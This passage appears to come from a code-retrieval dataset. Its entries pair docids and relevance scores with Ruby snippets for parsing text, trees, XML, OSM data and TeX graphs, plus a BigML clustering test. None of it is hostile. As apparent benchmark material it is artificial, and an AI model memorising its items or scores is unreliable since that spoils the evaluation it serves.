return this_entry\n \tend", "title": "" }, { "docid": "0ab53752834b559859a764c15eb69cf2", "score": "0.45393345", "text": "def expand(*strings)\n strings\n .map { |s| s.is_a?(String) ? parse(s) : s }\n .yield_self { |node, *children| node.concat(children) }\n end", "title": "" }, { "docid": "b8d2cd122bfd07ad48411a519d428633", "score": "0.45368242", "text": "def parse\n return @tree if @tree\n\n # parse tree\n tree = MetaArray.new\n\n # paragraph, sentence, subsentence\n p_id, s_id, ss_id = 0, 0, 0\n\n # current token\n token = ''\n\n # run FSM\n text.each_char do |c|\n case c\n when END_OF_LINE then begin\n case token\n when EMPTY then token << c\n when END_OF_LINE then begin\n token = ''\n p_id += 1\n s_id = 0\n ss_id = 0\n end\n else\n tree[p_id][s_id][ss_id] << token\n token = c\n end\n end\n when SEPARATOR then begin\n case token\n when EMPTY\n else\n tree[p_id][s_id][ss_id] << token\n while tree[p_id][s_id][ss_id].last == c\n tree[p_id][s_id][ss_id].pop\n end\n tree[p_id][s_id][ss_id] << c\n token = ''\n end\n end\n when PUNCTUATION then begin\n case token\n when EMPTY\n else\n tree[p_id][s_id][ss_id] << token\n tree[p_id][s_id][ss_id] << c\n token = ''\n s_id += 1\n ss_id = 0\n end\n end\n when SENTENCE_PUNCTUATION then begin\n case token\n when EMPTY\n else\n tree[p_id][s_id][ss_id] << token\n tree[p_id][s_id][ss_id] << c\n token = ''\n ss_id += 1\n end\n end\n when RUSSIAN_LEXEME then begin\n case token\n when END_OF_LINE then begin\n tree[p_id][s_id][ss_id] << ' '\n token = c\n end\n else\n token << c\n end\n end\n when ENGLISH_LEXEME then begin\n case token\n when END_OF_LINE then begin\n tree[p_id][s_id][ss_id] << ' '\n token = c\n end\n else\n token << c\n end\n end\n when DIGIT then begin\n case token\n when END_OF_LINE then begin\n tree[p_id][s_id][ss_id] << ' '\n token = c\n end\n else\n token << c\n end\n end\n when DIGIT_LETTER then begin\n case token\n when END_OF_LINE then begin\n tree[p_id][s_id][ss_id] << token\n token = c\n end\n else\n token << c\n end\n end\n end\n end\n\n unless token.empty?\n tree[p_id][s_id][ss_id] << token\n end\n\n tree.delete(nil)\n\n @tree = tree.to_a\n end", "title": "" }, { "docid": "6f52b252c6e3f33e3407a182cf5a79a5", "score": "0.45355394", "text": "def traverse_classification_forest\n @predictions = {}\n @options.read_testing_data{|individual|\n individual_prediction = []\n trees.each do |t|\n individual_prediction << Nimbus::Tree.traverse(t, individual.snp_list)\n end\n class_sizes = Nimbus::LossFunctions.class_sizes_in_list(individual_prediction, @options.tree[:classes]).map{|p| (p/individual_prediction.size.to_f).round(3)}\n @predictions[individual.id] = Hash[@options.tree[:classes].zip class_sizes].map{|k,v| \"'#{k}': #{v}\"}.join(' , ')\n }\n end", "title": "" }, { "docid": "9da564c5bc33d07c03330c76bd57a19e", "score": "0.45333803", "text": "def generate_tree_dfs(arr, hash, cpath='')\r\n\t\thash.each do |key, value|\r\n\t\t\ttemp_path = cpath + key\r\n\t\t\ttemp_arr = arr\r\n\t\t\tnext unless key.start_with?('/')\r\n\t\t\t\r\n\t\t\tif not key.end_with? \".md\"\r\n\t\t\t\ttemp_arr.push tree_node(temp_path)\r\n\t\t\t\tgenerate_tree_dfs(temp_arr.last[3], value, temp_path)\r\n\t\t\telse\r\n\t\t\t\ttemp_arr.push tree_node(temp_path)\r\n\t\t\tend\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "4ed15b3c62db286fd2b3034920d6ea0d", "score": "0.4529885", "text": "def read\r\n ## return hash from html snippet\r\n doc = Nokogiri::HTML.fragment( @html )\r\n\r\n data = {}\r\n\r\n ## note:\r\n ## skip whitespace text nodes (e.g. \\n\\n etc); just use divs\r\n doc_children = doc.children.filter('div')\r\n\r\n puts \" parsing >#{@name}< - #{doc_children.size} category_data divs(s):\"\r\n\r\n doc_children.each_with_index do |div,i|\r\n if div['class'].index( 'note' )\r\n text = squish( div.text.strip )\r\n puts \"category_data: >#{text}<\"\r\n\r\n data['note'] = { 'text' => text }\r\n elsif div['class'].index( 'historic' )\r\n ## add all historic together into one for now\r\n text = squish( div.text.strip )\r\n puts \"category_data: >#{text}<\"\r\n\r\n if i == 0\r\n data['text'] = text\r\n else\r\n ## append with / for now\r\n data['text'] += \" / #{text}\"\r\n end\r\n elsif div.css( 'span.subfield-name').empty?\r\n ## assume \"implied text field\"\r\n ## check for index == 1 / child count == 1 - why? why not\r\n text = squish( div.text.strip ) ## fix/todo: use strip\r\n puts \"category_data: >#{text}<\"\r\n\r\n data['text'] = text\r\n\r\n ## must be always first node for now\r\n if i != 0\r\n puts \"!! ERROR - 'implied' category W/O name NOT first div / node:\"\r\n puts @html\r\n exit 1\r\n end\r\n elsif div['class'].index( 'grouped_subfield' )\r\n## split grouped subfield!!\r\n## <span class=\"subfield-name\">arable land:</span>\r\n## <span class=\"subfield-number\">8.6%</span>\r\n## <span class=\"subfield-date\">(2011 est.)</span>\r\n## /\r\n## <span class=\"subfield-name\">permanent crops:</span>\r\n## <span class=\"subfield-number\">0.8%</span>\r\n## <span class=\"subfield-date\">(2011 est.)</span>\r\n## /\r\n## <span class=\"subfield-name\">permanent pasture:</span>\r\n## <span class=\"subfield-number\">23.5%</span>\r\n## <span class=\"subfield-date\">(2011 est.)</span>\r\n\r\n## join names for now - why? why not?\r\n## e.g. becomes:\r\n## arable land / permanent crops / permanent pasture: for key ??\r\n span_names = div.css( 'span.subfield-name')\r\n keys = []\r\n span_names.each do |span|\r\n keys << normalize_category( span.text.strip )\r\n span.replace( '' )\r\n end\r\n key = keys.join( ' / ')\r\n text = squish( div.text.strip )\r\n puts \"category_data key >#{key}<: >#{text}<\"\r\n data[ key ] = { 'text' => text }\r\n else\r\n ## get subfield name\r\n span_names = div.css( 'span.subfield-name')\r\n if span_names.size > 1\r\n puts \"!! ERROR - found more than one subfield-name:\"\r\n puts div.to_html\r\n exit 1\r\n end\r\n key = normalize_category( span_names[0].text.strip )\r\n span_names[0].replace( '' )\r\n\r\n text = squish( div.text.strip )\r\n puts \"category_data key >#{key}<: >#{text}<\"\r\n data[ key ] = { 'text' => text }\r\n end\r\n end\r\n\r\n\r\n pp data\r\n data\r\nend", "title": "" }, { "docid": "6d9bfdf5be39899afec44565648cfa34", "score": "0.45295894", "text": "def solve(tree, input)\n nodes = [tree]\n\n input.each_char do |key|\n next_nodes = [] # Mistake 1: defined inside KEY_TO_CHAR loop\n\n if KEY_TO_CHAR[key] == nil\n raise ArgumentError, \"unexpected key #{key}\"\n end\n\n KEY_TO_CHAR[key].each do |c|\n if c\n nodes.each do |node|\n if (child = node.children[c])\n next_nodes << child\n end\n end\n end\n end\n\n nodes = next_nodes\n end\n\n nodes.select(&:word?).map(&:build_word)\n end", "title": "" }, { "docid": "fc6577c9170c78fdb078f2cd07ee5655", "score": "0.4526295", "text": "def test_scenario1\n \n data = [\n ['data/spam.csv', {\"fields\"=> {\"000001\"=> {\"optype\": \"text\", \"term_analysis\"=> {\"case_sensitive\"=> true, \"stem_words\"=> true, \"use_stopwords\"=> false, \"language\"=> \"en\"}}}}, {\"Type\"=> \"ham\", \"Message\"=> \"Mobile call\"}, 'Cluster 0', 0.25],\n ['data/spam.csv', {\"fields\" => {\"000001\" => {\"optype\" => \"text\", \"term_analysis\" => {\"case_sensitive\" => true, \"stem_words\" => true, \"use_stopwords\" => false}}}}, {\"Type\" => \"ham\", \"Message\" => \"A normal message\"}, 'Cluster 0', 0.5],\n ['data/spam.csv', {\"fields\": {\"000001\"=> {\"optype\"=> \"text\", \"term_analysis\"=> {\"case_sensitive\"=> false, \"stem_words\"=> false, \"use_stopwords\"=> false, \"language\"=> \"en\"}}}}, {\"Type\"=> \"ham\", \"Message\"=> \"Mobile calls\"}, 'Cluster 0', 0.5],\n ['data/spam.csv', {\"fields\"=> {\"000001\"=> {\"optype\"=> \"text\", \"term_analysis\"=> {\"case_sensitive\"=> false, \"stem_words\"=> false, \"use_stopwords\"=> false, \"language\"=> \"en\"}}}}, {\"Type\"=> \"ham\", \"Message\"=> \"A normal message\"}, 'Cluster 0', 0.5],\n ['data/spam.csv', {\"fields\"=> {\"000001\"=> {\"optype\"=> \"text\", \"term_analysis\"=> {\"case_sensitive\"=> false, \"stem_words\"=> true, \"use_stopwords\"=> true, \"language\"=> \"en\"}}}}, {\"Type\"=> \"ham\", \"Message\"=> \"Mobile call\"}, 'Cluster 0', 0.5],\n ['data/spam.csv', {\"fields\"=> {\"000001\"=> {\"optype\"=> \"text\", \"term_analysis\"=> {\"case_sensitive\"=> false, \"stem_words\"=> true, \"use_stopwords\"=> true, \"language\"=> \"en\"}}}}, {\"Type\"=> \"ham\", \"Message\"=> \"A normal message\"}, 'Cluster 1', 0.36637],\n ['data/spam.csv', {\"fields\"=> {\"000001\"=> {\"optype\"=> \"text\", \"term_analysis\"=> {\"token_mode\"=> \"full_terms_only\", \"language\"=> \"en\"}}}}, {\"Type\"=> \"ham\", \"Message\"=> \"FREE for 1st week! No1 Nokia tone 4 ur mob every week just txt NOKIA to 87077 Get txting and tell ur mates. zed POBox 36504 W45WQ norm150p/tone 16+\"}, 'Cluster 0', 0.5],\n ['data/spam.csv', {\"fields\"=> {\"000001\"=> {\"optype\"=> \"text\", \"term_analysis\"=> {\"token_mode\"=> \"full_terms_only\", \"language\"=> \"en\"}}}}, {\"Type\"=> \"ham\", \"Message\"=> \"Ok\"}, 'Cluster 0', 0.478833312167],\n ['data/spam.csv', {\"fields\"=> {\"000001\"=> {\"optype\"=> \"text\", \"term_analysis\"=> {\"case_sensitive\"=> true, \"stem_words\"=> true, \"use_stopwords\"=> false, \"language\"=> \"en\"}}}}, {\"Type\"=> \"\", \"Message\"=> \"\"}, 'Cluster 6', 0.5],\n ['data/diabetes.csv', {\"fields\"=> {}}, {\"pregnancies\"=> 0, \"plasma glucose\"=> 118, \"blood pressure\"=> 84, \"triceps skin thickness\"=> 47, \"insulin\"=> 230, \"bmi\"=> 45.8, \"diabetes pedigree\"=> 0.551, \"age\"=> 31, \"diabetes\"=> true}, 'Cluster 3', 0.5033378686559257],\n ['data/iris_sp_chars.csv', {\"fields\"=> {}}, {\"pétal.length\"=>1, \"pétal&width\\u0000\"=> 2, \"sépal.length\"=>1, \"sépal&width\"=> 2, \"spécies\"=> \"Iris-setosa\"}, 'Cluster 7', 0.8752380218327035],\n ['data/movies.csv', {\"fields\"=> {\"000007\"=> {\"optype\"=> \"items\", \"item_analysis\"=> {\"separator\"=> \"$\"}}}}, {\"gender\"=> \"Female\", \"age_range\"=> \"18-24\", \"genres\"=> \"Adventure$Action\", \"timestamp\"=> 993906291, \"occupation\"=> \"K-12 student\", \"zipcode\"=> 59583, \"rating\"=> 3}, 'Cluster 1', 0.7294650227133437]\n ]\n\n puts\n puts \"Scenario: Successfully comparing centroids with or without text options:\"\n data.each do |filename, options, data_input, centroid_name, distance|\n puts \n puts \"Given I create a data source uploading a <%s> file\" % filename\n source = @api.create_source(File.dirname(__FILE__)+\"/\"+filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I update the source with params <%s>\" % JSON.generate(options)\n source = @api.update_source(source, options)\n assert_equal(BigML::HTTP_ACCEPTED, source[\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create a dataset\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"And I create a cluster\"\n cluster=@api.create_cluster(dataset, {'seed'=>'BigML tests','cluster_seed'=> 'BigML', 'k' => 8})\n\n puts \"And I wait until the cluster is ready\"\n assert_equal(BigML::HTTP_CREATED, cluster[\"code\"])\n assert_equal(1, cluster[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(cluster), true)\n\n puts \"And I create a local cluster\"\n local_cluster = BigML::Cluster.new(cluster[\"resource\"], @api) \n\n puts \"When I create a centroid for <%s>\" % JSON.generate(data_input)\n centroid = @api.create_centroid(cluster, data_input)\n\n puts \"Then the centroid is <%s> with distance <%s>\" % [centroid_name, distance]\n assert_equal(distance.round(5), centroid[\"object\"][\"distance\"].round(5))\n assert_equal(centroid_name, centroid[\"object\"][\"centroid_name\"])\n\n puts \"And I create a local centroid for <%s>\" % JSON.generate(data_input)\n local_centroid = local_cluster.centroid(data_input)\n\n puts \"Then the local centroid is <%s> with distance <%s>\" % [centroid_name, distance]\n assert_equal(centroid_name, local_centroid[\"centroid_name\"])\n assert_equal(distance.round(5), local_centroid[\"distance\"].round(5))\n\n end \n end", "title": "" }, { "docid": "19e347e9e06a3a48a32c59006cf737c0", "score": "0.45222747", "text": "def load_test_data\n ary = File.readlines( \"./testdata.ldif\" )\n hash = {}\n while line = ary.shift and line.chomp!\n if line =~ /^dn:[\\s]*/i\n dn = $'\n hash[dn] = {}\n while attr = ary.shift and attr.chomp! and attr =~ /^([\\w]+)[\\s]*:[\\s]*/\n hash[dn][$1.downcase] ||= []\n hash[dn][$1.downcase] << $'\n end\n end\n end\n hash\nend", "title": "" }, { "docid": "c3ef04075b646fad19bae37d57b2325e", "score": "0.45143896", "text": "def get_android_inspect\n # @private\n def run node\n r = []\n\n run_internal = lambda do |node|\n if node.kind_of? Array\n node.each { |node| run_internal.call node }\n return\n end\n\n keys = node.keys\n return if keys.empty?\n if keys == %w(hierarchy)\n run_internal.call node['hierarchy']\n return\n end\n\n n_content = '@content-desc'\n n_text = '@text'\n n_class = '@class'\n n_resource = '@resource-id'\n n_node = 'node'\n\n # Store the object if it has a content description, text, or resource id.\n # If it only has a class, then don't save it.\n obj = {}\n obj.merge!( { desc: node[n_content] } ) if keys.include?(n_content) && !node[n_content].empty?\n obj.merge!( { text: node[n_text] } ) if keys.include?(n_text) && !node[n_text].empty?\n obj.merge!( { resource_id: node[n_resource] } ) if keys.include?(n_resource) && !node[n_resource].empty?\n obj.merge!( { class: node[n_class] } ) if keys.include?(n_class) && !obj.empty?\n\n r.push obj if !obj.empty?\n run_internal.call node[n_node] if keys.include?(n_node)\n end\n\n run_internal.call node\n r\n end\n\n lazy_load_strings\n json = get_source\n node = json['hierarchy']\n results = run node\n\n out = ''\n results.each { |e|\n e_desc = e[:desc]\n e_text = e[:text]\n e_class = e[:class]\n e_resource_id = e[:resource_id]\n out += e_class.split('.').last + \"\\n\"\n\n out += \" class: #{e_class}\\n\"\n if e_text == e_desc\n out += \" text, name: #{e_text}\\n\" unless e_text.nil?\n else\n out += \" text: #{e_text}\\n\" unless e_text.nil?\n out += \" name: #{e_desc}\\n\" unless e_desc.nil?\n end\n\n out += \" resource_id: #{e_resource_id}\\n\" unless e_resource_id.nil? || e_resource_id.empty?\n\n # there may be many ids with the same value.\n # output all exact matches.\n id_matches = @strings_xml.select do |key, value|\n value == e_desc || value == e_text\n end\n\n if id_matches && id_matches.length > 0\n match_str = ''\n # [0] = key, [1] = value\n id_matches.each do |match|\n match_str += ' ' * 6 + \"#{match[0]}\\n\"\n end\n out += \" id: #{match_str.strip}\\n\"\n end\n }\n out\n end", "title": "" }, { "docid": "479275f9e42b434eceec2aaae1ad0ccd", "score": "0.45073676", "text": "def create_hash(data, basename)\n words = Hash.new\n return words if !data\n parent = Array.new\n previous_key = 'base'\n data.split(\"\\n\").each do |w|\n next if w.strip.blank?\n (key, value) = w.split(':')\n value ||= ''\n shift = (key =~ /\\w/)/2 - parent.size #Determine level of current key in comparison to parent array\n key = key.sub(/^\\s+/,'')\n parent << previous_key if shift > 0 #If key is child of previous key, add previous key as parent\n (shift*-1).times { parent.pop } if shift < 0 #If key is not related to previous key, remove parent keys\n previous_key = key #Track key in case next key is child of this key\n words[parent.join(':')+':'+key] = value\n end\n words\nend", "title": "" }, { "docid": "ad04e68582e17fe305f114abefe92927", "score": "0.4502597", "text": "def extract(parentID, root, tag, label, text=nil, level=nil)\n\t# substitute the psuedo menu tag or menu-item with the actual menu name along with the id\n\t# Formats as used in the XML file is menu1, menu2, ... and m1_item, m2_item, ...\n\tif tag == \"menu\"\n\t\ttag = \"menu#{level}\"\n\telsif tag == \"m_item\"\n\t\ttag = \"m#{level}_item\"\n\tend\n\t# iterate through each tag with the matching tag name\n\troot.each_element(\".//#{tag}\") { |child|\n\t\t# step into the sections tag\n\t\tif child.name == 'sections'\n\t\t\textract parentID, child, 'section', label\n\t\t# step into the section tag\n\t\telsif child.name == 'section'\n\t\t\t# extract the value of key attribute under section tag\n\t\t\tkey = child.attributes['key']\n\t\t\t# search for the component key e.g. Subjective have multiple templates etc.\n\t\t\tid = getComponentID(key)\n\t\t\t# if id is nil then new template is created in the database\n\t\t\tif id.nil?\n\t\t\t\tdataInsert(key, 0, 0, key, \"\")\n\t\t\telse\n\t\t\t\tparentID = id[0]\n\t\t\tend\n\t\t\t# step into the menu tag\n\t\t\textract parentID, child, \"menu\", label, nil, 1\n\n\t\telsif child.name == \"menu#{level}\"\n\t\t\t# extract the select type\n\t\t\ttype = child.attributes['seltype']\n\t\t\t# if the select type is 'none' then by default it is a 'checkbox'\n\t\t\ttype = type.match('none') ? \"checkbox\" : type\n\t\t\tlabel.gsub!(\"'\",\"\\\\'\")\n\t\t\ttext = text.nil? ? label : text.gsub(\"'\",\"\\\\'\")\n\t\t\t# puts \"<#{label},#{parentID},#{level-1},#{type},#{text}>\"\n\t\t\tdataInsert( label, parentID, level-1, type, text)\n\t\t\tparentID = getIDofLastInsertedRow()\n\t\t\textract parentID, child, \"m_item\", label, text, level\n\n\t\telsif child.name == \"m#{level}_item\"\n\t\t\tlabel = child[1].text\n\t\t\tlabel.gsub!(\"'\",\"\\\\'\")\n\t\t\ttext = child[3].text\n\t\t\ttext = text.nil? ? label : text.gsub(\"'\",\"\\\\'\")\n\t\t\ttype = child.attributes['childtype']\n\t\t\t# skip all that matches menu1, menu2 etc as childtype (the hierarchy is already taken care of)\n\t\t\tif !type.match(/menu./)\n\t\t\t\tif type.match(/picker/)\n\t\t\t\t\tchild.each_element_with_attribute(\"pickertype\") { |p|\n\t\t\t\t\t\ttype = p.attributes[\"pickertype\"]\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t\ttype = type.match('none') ? \"checkbox\" : type\n\t\t\t\t# puts \"\\t\\t<#{label},#{parentID},#{level},#{type},#{text}>\"\n\n\t\t\t\tdataInsert(label, parentID, level, type, text)\n\t\t\tend\n\t\t\textract parentID, child, \"menu\", label, text, level.nil? ? 1 : level+1\n\t\tend\n\t}\nend", "title": "" }, { "docid": "98365aa347583e74f47c25868f3ca7d4", "score": "0.45016435", "text": "def data2(t)\n\n nodes_cache_file = \"#{$MYDIR}/#{t.z}-#{t.x}-#{t.y}-nodes.msh\"\n ways_cache_file = \"#{$MYDIR}/#{t.z}-#{t.x}-#{t.y}-ways.msh\"\n\n # NOTE: both files must exist-- can't really marshal from just one\n\n if (File.exist?(nodes_cache_file) && File.exist?(ways_cache_file)) then\n nodes = Marshal.restore(File.new(nodes_cache_file).read)\n ways = Marshal.restore(File.new(ways_cache_file).read)\n return [nodes,ways]\n end\n\n cur = [] \n\n ways = Hash.new()\n nodes = Hash.new()\n\n File.new(t.data).readlines.each{|i|\n\n # NOTE: for this to work LC_ALL must be set to not 'C'\n\n i.gsub!(/[\\u0080-\\u00ff]/, '')\n\n i =~ /<(node|way|nd|tag) (.*?)\\/?>/\n \n # ignore lines not matching any string above\n # TODO: maybe report bad lines\n\n if ($~.nil?) then next end\n\n # the tag type\n\n type = $~[1]\n\n # cleanup line to create init string/hash\n # note that we can't set the `id` of a Ruby object, so we use `oid` instead\n\n str = $~[2].gsub('\" ','&').gsub(\"id=\",\"oid=\").gsub('=\"','=').gsub('\"','').gsub(\"&quot;\",\"'\")\n\n h = Hash.new.setfields(str)\n\n if (type == \"node\") then\n\n # creates a new node and places it in the nodes psuedo-array\n\n # TODO: make it clearer here that cur.oid can be very large, and\n # that nodes[] does not create unnecessary elements\n\n cur = Node.new(h)\n nodes[cur.oid.to_i] = cur\n\n elsif (type == \"way\") then\n\n # create a new way and add it to the ways array\n\n cur = Way.new(h)\n ways[cur.oid.to_i] = cur\n\n elsif (type == \"nd\") then\n\n # add node to current way\n\n cur.add(nodes[h[\"ref\"].to_i])\n\n elsif (type ==\"tag\") \n\n # add tag to current object\n\n cur.add_tag(h[\"k\"],h[\"v\"])\n\n end\n\n }\n\n # dump serialized versions of nodes/ways to cachefile\n\n # TODO: is dumping nodes that are part of ways redundant? (we might\n # end up w/ redundant nodes, which is ugly)\n\n # TODO: does this really give us any speed improvement?\n\n File.new(nodes_cache_file,\"w\").spew(Marshal.dump(nodes))\n File.new(ways_cache_file,\"w\").spew(Marshal.dump(ways))\n\n return [nodes,ways]\n\nend", "title": "" }, { "docid": "d97131633ddb649d2cab4f8a06890bb9", "score": "0.44971347", "text": "def classifications\n classes = Hash.new\n\n h = Hash.new\n if b510 = @doc.at_xpath(\"//b510\")\n # Collect the main classification\n b511_ns = b510.xpath(\".//b511\")\n mclasses = []\n if b511_ns != nil\n b511_ns.each do |cls|\n mc = extract_inner_text(cls)\n mclasses << mc unless mc.empty?\n end\n h.store(:mainclass, mclasses) unless mclasses.empty?\n end\n\n # Collect the further classification, if any\n b512_ns = b510.xpath(\".//b512\")\n fclasses = []\n if b512_ns != nil\n b512_ns.each do |cls|\n fc = extract_inner_text(cls)\n fclasses << fc unless fc.empty?\n end\n h.store(:subclass, fclasses) unless fclasses.empty?\n end\n end\n classes.store(:domestic_classifications, h) unless h.empty?\n\n h = Hash.new\n if b520 = @doc.at_xpath(\"//b520\")\n h = Hash.new\n\n # Collect the main classification\n b521_ns = b520.xpath(\".//b521\")\n mclasses = []\n if b521_ns != nil\n b521_ns.each do |cls|\n mc = extract_inner_text(cls)\n mclasses << mc unless mc.empty?\n end\n h.store(:mainclass, mclasses) unless mclasses.empty?\n end\n\n # Collect the further classification, if any\n b522_ns = b520.xpath(\".//b522\")\n fclasses = []\n if b522_ns != nil\n b522_ns.each do |cls|\n fc = extract_inner_text(cls)\n fclasses << fc unless fc.empty?\n end\n h.store(:subclass, fclasses) unless fclasses.empty?\n end\n\n # Collect the country\n b527 = b520.at_xpath(\".//b527\")\n country = extract_inner_text(b527)\n h.store(:country, country) unless country.empty?\n end\n classes.store(:international_classifications, h) unless h.empty?\n\n classes\n end", "title": "" }, { "docid": "4f0f5a37ae09b3ed7a644782faad6cda", "score": "0.44809112", "text": "def add(*strings)\r\n\r\n node = @root\r\n\r\n # Convert to flat array\r\n strings.flatten!\r\n\r\n strings.each do |string|\r\n\r\n string.downcase.each_char { |char| node = node[char] ||= {} }\r\n node[:end] = true\r\n node = @root\r\n end\r\n\r\n end", "title": "" }, { "docid": "69add4fa41f1a042f40383ca61978556", "score": "0.4475915", "text": "def collect_labeled_tokenstreams(example_nodes, type)\n example_nodes.collect do |node|\n tokenstream=node.parent.tokenstream #Rules are based on extracting from the parent\n if type==:start\n tokenstream.set_label_at(node.tokenstream.tokens.first.start_loc)\n elsif type==:end\n tokenstream.set_label_at(node.tokenstream.tokens.last.start_loc)\n end\n tokenstream\n end\n end", "title": "" }, { "docid": "dbafc05a40ef6f342e940b98f068c82e", "score": "0.4473099", "text": "def extracted(nodo)\n\tend", "title": "" }, { "docid": "449bd715a3b9e1f6f39f0d5732408496", "score": "0.44680086", "text": "def get_related_topic_descriptions\n triples = []\n\n # self > type+tabel\n triples.push [self.uri, N::RDF.type, self.type.to_s]\n triples.push [self.uri, N::RDFS.label, self.name.to_s]\n\n # 1 TextFragment > hasNote > Note, for each note: self > relatedNote > note\n self.notes.each do |n|\n triples.push [self.uri, N::FIRBSWN.relatedNote, n.uri]\n triples.push [n.uri, N::RDF.type, N::FIRBSWN.Note]\n triples.push [n.uri, N::RDFS.label, ((n.name.nil?) ? \"\" : n.name)+\": \"+((n.content.nil?) ? \"\" : n.content)]\n end\n\n # 2 TextFragment > keywordForImageZone > ImageZone, for each imgz: self > relatedImageZone > imgz\n ImageZone.get_all_zones_array.each do |name, uri|\n triples.push [self.uri, N::FIRBSWN.relatedImageZone, N::URI.new(uri)]\n triples.push [uri, N::RDF.type, N::FIRBSWN.ImageZone]\n triples.push [uri, N::RDFS.label, name]\n end\n\n # 3 TextFragment > hasMemoryDepiction > MemoryDepiction, for each md (ill+not ill): self > relatedMemoryDepiction > md\n self.non_illustrated_memory_depictions.each do |md|\n triples.push [self.uri, N::FIRBSWN.relatedMemoryDepiction, md.uri]\n triples.push [md.uri, N::RDF.type, N::FIRBSWN.NonIllustratedMemoryDepiction]\n triples.push [md.uri, N::RDFS.label, \"(\"+md.depiction_type+\") \" + md.short_description]\n end\n\n PiIllustratedMdCard.find(:all, :find_through => [N::TALIA.attachedText, self.uri]).each do |md|\n triples.push [self.uri, N::FIRBSWN.relatedMemoryDepiction, md.uri]\n triples.push [md.uri, N::RDF.type, N::FIRBSWN.IllustratedMemoryDepiction]\n triples.push [md.uri, N::RDFS.label, md.short_description]\n end \n\n # 4 TextFragment > VariousRelations > DictionaryItem\n DictionaryItem.all.each do |di|\n triples.push [self.uri, N::FIRBSWN.relatedDictionaryItem, di.uri]\n triples.push [di.uri, N::RDF.type, N::FIRBSWN.DictionaryItem]\n triples.push [di.uri, N::RDFS.label, \"#{di.name} (#{di.item_type.to_uri.local_name})\"]\n end\n \n triples\n end", "title": "" }, { "docid": "c211e5f51f6f926506779626710369c3", "score": "0.44619787", "text": "def process(yml)\n #for each yml's\n # Kramdown::Document.new(str).to_html\n return yml\nend", "title": "" }, { "docid": "a25ae1b6946410f65de8a1a9d2372c6f", "score": "0.44517657", "text": "def parse_tex_file()\n\n reg = /\\(([^()]+)\\)/;#regex to match the \\path lines to extract the nodes info.\n t = File.open(\"\".concat(ARGV[0].to_s),\"r\");\n graph_hash = Hash.new();\n \n t.each_line{ |line_text|\n# if line_text[0].eql?(\"%\") then #this line is commented alltogether\n# next;\n# end\n if(line_text.to_s.match(/.*?(path)/) != nil) then\n #i'm on a text line that contains \\path tikz tex code.\n #match data is in form [[\"node1\"],[\"node2\"]]\n match_data = line_text.scan(reg);\n if match_data.length == 1 then #this line is commented for a future \\path with origing node but not destination\n next;\n end\n if( graph_hash.key?(match_data[0][0])) then\n #node as a key exists\n temp = graph_hash[match_data[0][0]];\n temp << match_data[1][0];\n graph_hash.store(match_data[0][0], temp);\n elsif\n #key does not exist \n graph_hash.store(match_data[0][0], Array.new());\n unless match_data[0][0].to_s.eql?(match_data[1][0]) #the same state name in source and destination.\n graph_hash.store(match_data[0][0], graph_hash[match_data[0][0]] << match_data[1][0] );\n end\n end\n end\n }\n graph_hash;\nend", "title": "" }, { "docid": "83b7e44bb648b0aeba5f467e049b191a", "score": "0.4449028", "text": "def example_div_parse(node, out)\n out.div **attr_code(id: node[\"id\"], class: \"example\") do |div|\n div.p **{ class: \"example-title\" } do |p|\n p << example_label(node)\n end\n node.children.each do |n|\n parse(n, div)\n end\n end\n end", "title": "" }, { "docid": "ba6fe1fef56c018a1bed17c019a6b871", "score": "0.44490162", "text": "def get_instructions(source)\n elements = get_elements(source)\n text = \"\"\n instructions = Array.new\n elements.each do |child|\n if child[:tag]!=\"text\"\n text << \"Add the tag \" + child[:tag]\n text << \" in \" + child[:parent] if !child[:parent].nil?\n text << \" with an attribute '\" + child[:attribute] + \"' \" if !child[:attribute].nil?\n text << \" with value '\" + child[:value] + \"' \" if !child[:value].nil?\n elsif child[:tag] == \"comment\"\n text << \" In \" + child[:tag]+ \" add the text '\" + child[:content] + \"' \" if !child[:content].nil?\n else\n text << \" In \" + child[:parent]+ \" add the text '\" + child[:content] + \"' \" if !child[:content].nil?\n end\n instructions.push(text)\n text = \"\"\n end\n instructions\n end", "title": "" }, { "docid": "ba6fe1fef56c018a1bed17c019a6b871", "score": "0.44490162", "text": "def get_instructions(source)\n elements = get_elements(source)\n text = \"\"\n instructions = Array.new\n elements.each do |child|\n if child[:tag]!=\"text\"\n text << \"Add the tag \" + child[:tag]\n text << \" in \" + child[:parent] if !child[:parent].nil?\n text << \" with an attribute '\" + child[:attribute] + \"' \" if !child[:attribute].nil?\n text << \" with value '\" + child[:value] + \"' \" if !child[:value].nil?\n elsif child[:tag] == \"comment\"\n text << \" In \" + child[:tag]+ \" add the text '\" + child[:content] + \"' \" if !child[:content].nil?\n else\n text << \" In \" + child[:parent]+ \" add the text '\" + child[:content] + \"' \" if !child[:content].nil?\n end\n instructions.push(text)\n text = \"\"\n end\n instructions\n end", "title": "" }, { "docid": "1aeecce4ffe6d5c6856d005284271b90", "score": "0.44485906", "text": "def build_hierarchy\n root = LetterNode.new(nil)\n\n # TODO: Limit word table to 50,000 highest scoring words\n\n words.each do |word|\n wl = root\n word.spelling.each_char do |letter|\n wl = wl.add(letter, word.count)\n end\n wl.word!(word.count)\n end\n\n root\n end", "title": "" }, { "docid": "5ce3eee9688ef993ee31152da085eb0f", "score": "0.44430315", "text": "def parse(element, **args)\r\n values = {}\r\n\r\n @extractors.each do |label, extractor|\r\n values[label] = extractor.call(element, args)\r\n end\r\n\r\n values\r\n end", "title": "" }, { "docid": "26b6c7b6aa412073be91effc8d6f4565", "score": "0.4435965", "text": "def extract_labels( graph )\n rdfschema = RDF::Vocabulary.new(\"http://www.w3.org/2000/01/rdf-schema#\")\n label_query = RDF::Query.new({\n term: { rdfschema.label => :label }\n })\n solutions = graph.query label_query\n zipped = solutions.map{|s| [s.term.value.split(\"/\")[-1], s.label.value]}\n Hash[zipped]\nend", "title": "" }, { "docid": 